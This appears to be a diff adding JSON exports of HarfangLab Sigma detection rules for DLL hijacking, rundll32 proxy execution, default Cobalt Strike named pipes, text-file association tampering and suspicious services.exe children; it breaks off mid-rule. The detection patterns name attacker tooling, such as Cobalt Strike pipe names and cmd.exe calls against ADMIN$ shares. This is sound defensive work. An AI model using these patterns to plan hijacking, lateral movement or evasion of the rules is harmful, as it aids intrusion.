+  "content": "title: DLL Hijacking via BDEUNLOCK.EXE.exe\nid: 6673e47f-a4ed-4de4-928c-1d6b6f36f56a\ndescription: |\n    Detects potential Windows DLL Hijacking via BDEUNLOCK.EXE.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/xforcered/WFH\n    - https://twitter.com/0xcarnage/status/1203882560176218113\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'BDEUNLOCK.EXE'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dui70.dll'\n            - '\\duser.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6673e47f-a4ed-4de4-928c-1d6b6f36f56a",
+  "rule_name": "DLL Hijacking via BDEUNLOCK.EXE.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via BDEUNLOCK.EXE.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "676e902b-c810-4fde-b1d6-1fa958a5adb1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.626153Z",
+  "creation_date": "2026-03-23T11:45:34.626155Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.626159Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/florylsk/ExecIT/tree/master",
+    "https://attack.mitre.org/techniques/T1218.011"
+  ],
+  "name": "t1218_011_rundll32_loads_unsigned_dll.yml",
+  "content": "title: Unsigned DLL Loaded by Rundll32 from Suspicious Folder\nid: 676e902b-c810-4fde-b1d6-1fa958a5adb1\ndescription: |\n    Detects an unsigned DLL being loaded by \"rundll32.exe\" from an unusual folder.\n    This can be an attempt to proxy malicious execution through the Microsoft signed binary \"rundll32.exe\".\n    It is recommended to investigate the process that spawned \"rundll32.exe\", the loaded library and the processes spawned by \"rundll32.exe\".\nreferences:\n    - https://github.com/florylsk/ExecIT/tree/master\n    - https://attack.mitre.org/techniques/T1218.011\ndate: 2024/01/29\nmodified: 2026/01/05\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218.011\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ProxyExecution\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        Image|endswith: '\\rundll32.exe'\n        ImageLoaded|startswith:\n            - '?:\\Users\\'\n            - '?:\\Windows\\Temp\\'\n            - '?:\\Windows\\Tasks\\'\n\n    filter_signed:\n        Signed: 'true'\n\n    exclusion_msi:\n            # - '?:\\Users\\\\*\\AppData\\Local\\Temp\\MSI????.tmp'\n            # - '?:\\Users\\\\*\\AppData\\Local\\Temp\\\\?\\MSI????.tmp'\n            # - '?:\\Users\\\\*\\AppData\\Local\\Temp\\MSI????.tmp-*\\\\*.dll'\n            # - '?:\\Users\\\\*\\AppData\\Local\\Temp\\MSI???.tmp-*\\\\*.dll'\n            # - '?:\\Users\\\\*\\AppData\\Local\\Temp\\MSI??.tmp-*\\\\*.dll'\n            # - '?:\\Users\\\\*\\AppData\\Local\\Temp\\\\?\\MSI????.tmp-*\\\\*.dll'\n        ImageLoaded|re: '(?i)^(?:[A-Z]:)(?:(?:\\\\Windows\\\\temp\\\\)|(?:\\\\Users\\\\[^\\\\]*\\\\appdata\\\\local\\\\temp\\\\))(?:[A-Z0-9]{1}\\\\)?(?:MSI[A-Z0-9]{1,4}\\.tmp)(?:-\\\\[^\\\\]*\\.dll)?'\n\n    exclusion_custom_actions:\n            # '?:\\Windows\\Temp\\_is????.tmp'\n            # '?:\\Windows\\Temp\\_is????.tmp-\\CustomActions.dll'\n            # '?:\\Windows\\Temp\\_is???.tmp-\\CustomActions.dll'\n            # Same in appdata\\local\\temp folder\n        ImageLoaded|re: '(?i)^(?:[A-Z]:)(?:(?:\\\\Windows\\\\temp\\\\)|(?:\\\\Users\\\\[^\\\\]*\\\\appdata\\\\local\\\\temp\\\\))(?:_is[A-Z0-9]{1,4}\\.tmp)(?:-\\\\CustomActions\\.dll)?'\n\n    exclusion_custom_actions_dotnet:\n        ProcessCommandLine|contains: '\\MSI????.tmp,zzzzInvokeManagedCustomActionOutOfProc Sfx'\n        ImageLoaded:\n            - '?:\\Users\\\\*\\AppData\\Local\\Temp\\SFX*\\\\*.dll'\n            - '?:\\Users\\\\*\\AppData\\Local\\Temp\\\\*\\MSI????.tmp-\\\\*.dll'\n            - '?:\\Users\\\\*\\Temp\\\\*\\SFX*\\\\*.dll'\n            - '?:\\Users\\\\*\\Temp\\\\*\\MSI????.tmp'\n            - '?:\\Users\\\\*\\Temp\\MSI????.tmp-\\\\*.dll'\n            - '?:\\Windows\\Temp\\CustomActions.NET.CA.dll'\n            - '?:\\Windows\\Temp\\CustomActions.NET.CA.dll-*\\\\*.dll'\n            - '?:\\Windows\\Temp\\CustomActions.CA.dll-*\\\\*.dll'\n\n    exclusion_evernote:\n        ImageLoaded|startswith: '?:\\users\\\\*\\appdata\\local\\apps\\evernote\\evernote\\'\n\n    exclusion_webex:\n        ImageLoaded|startswith:\n            - '?:\\users\\\\*\\appdata\\local\\webex\\webex64\\meetings\\'\n            - '?:\\users\\\\*\\appdata\\local\\webex\\webex\\meetings\\x64\\'\n\n    exclusion_netdrive:\n        ImageLoaded: '?:\\users\\\\*\\netdrive2\\ex\\nd2ex.dll'\n\n    exclusion_gotomeeting:\n        ImageLoaded|endswith: '\\gotomeeting\\\\*\\uninshlp.dll'\n\n    exclusion_install_navigator:\n        ImageLoaded: '?:\\users\\\\*\\appdata\\local\\temp\\\\*\\install navigator\\e_upwj01.dll'\n\n    exclusion_httptousbridge:\n        ImageLoaded: '?:\\users\\\\*\\appdata\\local\\temp\\httptousbbridge\\x64\\brdifxapi64.exe'\n\n    exclusion_diagonal_hook:\n        ImageLoaded: '?:\\users\\\\*\\appdata\\local\\temp\\[diagonal_hook_tmp]\\_dm_hook_????????.dll'\n\n    exclusion_agent_wixsharp:\n        ImageLoaded: '?:\\users\\\\*\\appdata\\local\\temp\\msi????.tmp-\\agent wixsharp.exe'\n\n    exclusion_viva:\n        ImageLoaded: '?:\\users\\\\*\\appdata\\roaming\\viva_01.dll'\n\n    exclusion_vmware:\n        ImageLoaded: '?:\\windows\\temp\\rubrik_vmware*\\rbkvssprovider.dll'\n\n    exclusion_dxcap:\n        ImageLoaded:\n            - '?:\\users\\\\*\\appdata\\local\\temp\\clickshare_*\\dxcap.dll'\n            - '?:\\users\\\\*\\appdata\\local\\temp\\clickshare_*\\dxcap64.dll'\n\n    exclusion_pkgutility:\n        ImageLoaded: '?:\\windows\\temp\\{????????-????-????-????-????????????}\\{????????-????-????-????-????????????}\\pkgutility.dll'\n\n    exclusion_interprocess:\n        ImageLoaded: '?:\\users\\\\*\\appdata\\local\\temp\\\\????????-????-????-????-????????????\\interprocessdll.x64.dll'\n\n    exclusion_assembly:\n        ImageLoaded|startswith: '?:\\Users\\\\*\\appdata\\local\\assembly\\'\n\n    exclusion_ktoutlk:\n        OriginalFileName: 'KTOutlk.DLL'\n\n    exclusion_aepdu:\n        ProcessCommandLine: '?:\\Windows\\system32\\rundll32.exe aepdu.dll,AePduRunUpdate'\n\n    exclusion_kerio:\n        ImageLoaded: '?:\\Users\\\\*\\AppData\\Local\\Temp\\koffupdate{????????-????-????-????-????????????}\\\\*.dll'\n\n    exclusion_bmc:\n        ProcessCommandLine|contains: 'rundll32.exe IsolatedPluginHost.dll,IHInit AppSight.BlackBox.IsolatedPlugin.Isolated'\n\n    exclusion_blackbox:\n        ProcessCommandLine|endswith:\n            - 'rundll32.exe DXCap.dll,DXCap_Hook'\n            - 'rundll32.exe DXCap64.dll,DXCap_Hook'\n        ImageLoaded|endswith:\n            - '\\Black Box WHPS\\DXCap.dll'\n            - '\\Black Box WHPS\\DXCap64.dl'\n\n    exclusion_nch_software:\n        ImageLoaded: '?:\\Users\\\\*\\AppData\\Roaming\\NCH Software\\Program Files\\FastFox\\ffhook64.dll'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "676e902b-c810-4fde-b1d6-1fa958a5adb1",
+  "rule_name": "Unsigned DLL Loaded by Rundll32 from Suspicious Folder",
+  "rule_description": "Detects an unsigned DLL being loaded by \"rundll32.exe\" from an unusual folder.\nThis can be an attempt to proxy malicious execution through the Microsoft signed binary \"rundll32.exe\".\nIt is recommended to investigate the process that spawned \"rundll32.exe\", the loaded library and the processes spawned by \"rundll32.exe\".\n",
+  "rule_creation_date": "2024-01-29",
+  "rule_modified_date": "2026-01-05",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218.011"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "67c99899-5e5d-4fd3-96a6-74eb3db90d9d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.072940Z",
+  "creation_date": "2026-03-23T11:45:34.072942Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.072946Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.cobaltstrike.com/blog/learn-pipe-fitting-for-all-of-your-offense-projects/",
+    "https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575",
+    "https://www.vanimpe.eu/2021/09/12/cobalt-strike-hunting-key-items-to-look-for/"
+  ],
+  "name": "t1021_002_default_cobaltstrike_named_pipes_creation.yml",
+  "content": "title: Default CobaltStrike Named Pipe Created\nid: 67c99899-5e5d-4fd3-96a6-74eb3db90d9d\ndescription: |\n    Detects the creation of a named pipe pertaining to the CobaltStrike framework.\n    CobaltStrike uses Named Pipes mainly to follow its deployment status and to self-replicate using SMB.\n    It is recommended to isolate infected hosts and to start incident response to determine the origin of the CobaltStrike beacon.\nreferences:\n    - https://www.cobaltstrike.com/blog/learn-pipe-fitting-for-all-of-your-offense-projects/\n    - https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575\n    - https://www.vanimpe.eu/2021/09/12/cobalt-strike-hunting-key-items-to-look-for/\ndate: 2022/07/08\nmodified: 2025/03/06\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1021.002\n    - attack.execution\n    - attack.t1559\n    - classification.Windows.Source.NamedPipe\n    - classification.Windows.Framework.CobaltStrike\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    product: windows\n    category: named_pipe_creation\ndetection:\n    selection_utilities:\n        PipeName|endswith:\n            # Cobalt Strike [3.x - 4.2]\n            - '\\sshagent'\n            - '\\portscan'\n            - '\\keylogger'\n            - '\\netview'\n            - '\\screenshot'\n\n    selection_msse:\n        # Default cobalt are usually in the MSSE-???-server form\n        # but have also been spotted with a smaller or higher number\n        # of random chars, better make it generic to be sure\n        PipeName|endswith: '\\MSSE-*-server'\n\n    selection_other:\n        # Startswith here allows to match all prefixes\n        PipeName|startswith:\n            - '\\msagent_'\n            - '\\status_'\n            - '\\postex_ssh_'\n            - '\\postex_'\n            - '\\interprocess_'\n            - '\\samr_'\n            - '\\netlogon_'\n            - '\\srvsvc_'\n            - '\\lsarpc_'\n\n    condition: 1 of selection_*\nlevel: high\n# level: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "67c99899-5e5d-4fd3-96a6-74eb3db90d9d",
+  "rule_name": "Default CobaltStrike Named Pipe Created",
+  "rule_description": "Detects the creation of a named pipe pertaining to the CobaltStrike framework.\nCobaltStrike uses Named Pipes mainly to follow its deployment status and to self-replicate using SMB.\nIt is recommended to isolate infected hosts and to start incident response to determine the origin of the CobaltStrike beacon.\n",
+  "rule_creation_date": "2022-07-08",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.002",
+    "attack.t1559"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "67d6a3a7-1abe-47fe-acb8-674865f2c31e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.076111Z",
+  "creation_date": "2026-03-23T11:45:34.076113Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.076118Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.001/T1546.001.md",
+    "https://www.ired.team/offensive-security/persistence/hijacking-default-file-extension",
+    "https://attack.mitre.org/techniques/T1546/001/"
+  ],
+  "name": "t1546_001_change_default_file_association.yml",
+  "content": "title: Default Text File Association Changed in Registry\nid: 67d6a3a7-1abe-47fe-acb8-674865f2c31e\ndescription: |\n    Detects the modification of the default program to open a text file in the registry.\n    Attackers may establish persistence by setting the default program to open a specific file type to a malicious executable.\n    This malicious executable is then started when a file presenting the extension is opened by a user.\n    It is recommended to investigate the value of the registry modification as well as the process performing the modification to determine the legitimacy of this action.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.001/T1546.001.md\n    - https://www.ired.team/offensive-security/persistence/hijacking-default-file-extension\n    - https://attack.mitre.org/techniques/T1546/001/\ndate: 2022/11/07\nmodified: 2026/01/19\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.persistence\n    - attack.t1546.001\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        # Other extensions could be added later\n        TargetObject|contains:\n            # This key usually contains 'txtfile', the handler for .txt extension\n            - 'HKCR\\.txt\\(Default)'\n            # the key HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command contains the path to the default binary to perform [action] on files with extension having the txtfile handler\n            - 'HKCR\\txtfile\\shell\\\\*\\command'\n            # Local config\n            - 'HKU\\S*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.txt\\UserChoice\\ProdId'\n\n    filter_empty:\n        Details: '(Empty)'\n\n    exclusion_programfiles:\n        Details|contains:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_openwith:\n        ProcessImage|endswith: '\\openwith.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_notepad:\n        TargetObject:\n            - 'HKCR\\txtfile\\shell\\open\\command\\(Default)'\n            - 'HKCR\\txtfile\\shell\\print\\command\\(Default)'\n            - 'HKCR\\txtfile\\shell\\printto\\command\\(Default)'\n        Details|contains:\n            - '%SystemRoot%\\system32\\notepad.exe'\n            - '?:\\Windows\\System32\\notepad.exe'\n\n    exclusion_ivanti:\n        ProcessImage|endswith: 'EPSecurityService.exe'\n        ProcessSigned: 'true'\n        ProcessSignature|contains: 'Bitdefender'\n\n    exclusion_txt:\n        TargetObject: 'HKCR\\.txt\\(Default)'\n        Details:\n            - 'ASC.Txt'\n            - 'txt'\n            - 'txtfile'\n            - 'txtfilelegacy'\n            - 'Notepad++_file'\n            - 'Text File'\n            - 'UltraEdit.txt'\n            - 'StoneFax.Print.Utility.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "67d6a3a7-1abe-47fe-acb8-674865f2c31e",
+  "rule_name": "Default Text File Association Changed in Registry",
+  "rule_description": "Detects the modification of the default program to open a text file in the registry.\nAttackers may establish persistence by setting the default program to open a specific file type to a malicious executable.\nThis malicious executable is then started when a file presenting the extension is opened by a user.\nIt is recommended to investigate the value of the registry modification as well as the process performing the modification to determine the legitimacy of this action.\n",
+  "rule_creation_date": "2022-11-07",
+  "rule_modified_date": "2026-01-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1546.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "67db9973-8422-4d56-8bac-e2e8635979f9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.096899Z",
+  "creation_date": "2026-03-23T11:45:34.096901Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.096905Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.vonahi.io/srclient-dll-hijacking/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_tiworker.yml",
+  "content": "title: DLL Hijacking via tiworker.exe\nid: 67db9973-8422-4d56-8bac-e2e8635979f9\ndescription: |\n    Detects potential Windows DLL Hijacking via tiworker.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://blog.vonahi.io/srclient-dll-hijacking/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'tiworker.exe'\n        ImageLoaded|endswith: '\\srclient.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "67db9973-8422-4d56-8bac-e2e8635979f9",
+  "rule_name": "DLL Hijacking via tiworker.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via tiworker.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6805209d-4011-4732-a79a-ad1db5090d94",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.094175Z",
+  "creation_date": "2026-03-23T11:45:34.094177Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.094181Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1569/002/"
+  ],
+  "name": "t1569_002_suspicious_service_binary.yml",
+  "content": "title: Suspicious Program Launched by services.exe\nid: 6805209d-4011-4732-a79a-ad1db5090d94\ndescription: |\n    Detects suspicious programs being spawned by services.exe.\n    Attackers may to create services remotely to move laterally on a network, they can also abuse the Windows Service Control Manager to execute malicious commands or payloads.\n    It is recommended to check the legitimacy of the executed binary or script as well as to investigate the user responsible for this action to look for other malicious actions.\nreferences:\n    - https://attack.mitre.org/techniques/T1569/002/\ndate: 2020/11/13\nmodified: 2026/02/18\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1569.002\n    - attack.t1059.001\n    - attack.t1059.003\n    - attack.t1059.005\n    - attack.t1059.007\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Lateralization\n    - classification.Windows.Behavior.Exploitation\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection_parent:\n        ParentImage: '?:\\Windows\\System32\\services.exe'\n        CurrentDirectory|startswith:\n            - '?:\\windows\\'\n            - '?:\\ProgramData\\'\n            - '?:\\PerfLogs\\'\n            - '?:\\temp\\'\n            - '?:\\users\\'\n            - '?:\\Program Files (x86)\\'\n            - '?:\\Program Files\\'\n            - '?:\\\\?Recycle.Bin\\'\n\n    selection_process:\n        - Image|endswith:\n          # cmd + scripts\n            - '\\wscript.exe'\n            - '\\cscript.exe'\n            - '\\rundll32.exe'  # maybe could lead to FP\n            - '\\mshta.exe'\n            - '\\pcalua.exe'\n        # handle renamed binaries\n        - OriginalFileName:\n            - 'wscript.exe'\n            - 'cscript.exe'\n            - 'RUNDLL32.EXE'\n            - 'MSHTA.EXE'\n        # No OriginalFileName for pcalua.exe\n        - Description: 'Program Compatibility Assistant'\n          Company: 'Microsoft Corporation'\n\n    select_process_cmd_generic:\n        - Image|endswith: '\\cmd.exe'\n        - OriginalFileName: 'Cmd.Exe'\n    filter_process_cmd_generic:\n        CommandLine|startswith:\n            - '?:\\Windows\\SYSTEM32\\cmd.exe /c ?:\\'\n            - '?:\\Windows\\SysWOW64\\cmd.exe /c ?:\\'\n\n    select_process_cmd_specific:\n        Image|endswith: '\\cmd.exe'\n        CommandLine|contains:\n            - '\\cmd.exe /c ?:\\windows\\'\n            - '\\cmd.exe /c ?:\\ProgramData\\'\n            - '\\cmd.exe /c ?:\\PerfLogs\\'\n            - '\\cmd.exe /c ?:\\temp\\'\n            - '\\cmd.exe /c ?:\\users\\'\n            - '\\cmd.exe /c ?:\\\\?Recycle.Bin\\'\n            - '\\cmd.exe /c \\\\\\\\*\\C$\\'\n            - '\\cmd.exe /c \\\\\\\\*\\ADMIN$\\'\n\n    select_process_powershell_generic:\n        - Image|endswith:\n            - '\\powershell.exe'\n            - '\\pwsh.exe'\n        - OriginalFileName:\n            - 'PowerShell.EXE'\n            - 'pwsh.dll'  # related to pwsh.exe (PowerShell 6)\n    filter_process_powershell_generic:\n        CommandLine|startswith:\n            - 'powershell.exe ?:\\'\n            - 'powershell.exe *-File ?:\\'\n            - 'powershell.exe *-Command ?:\\'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe ?:\\'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe *-File ?:\\'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe *-Command ?:\\'\n            - '?:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe ?:\\'\n            - 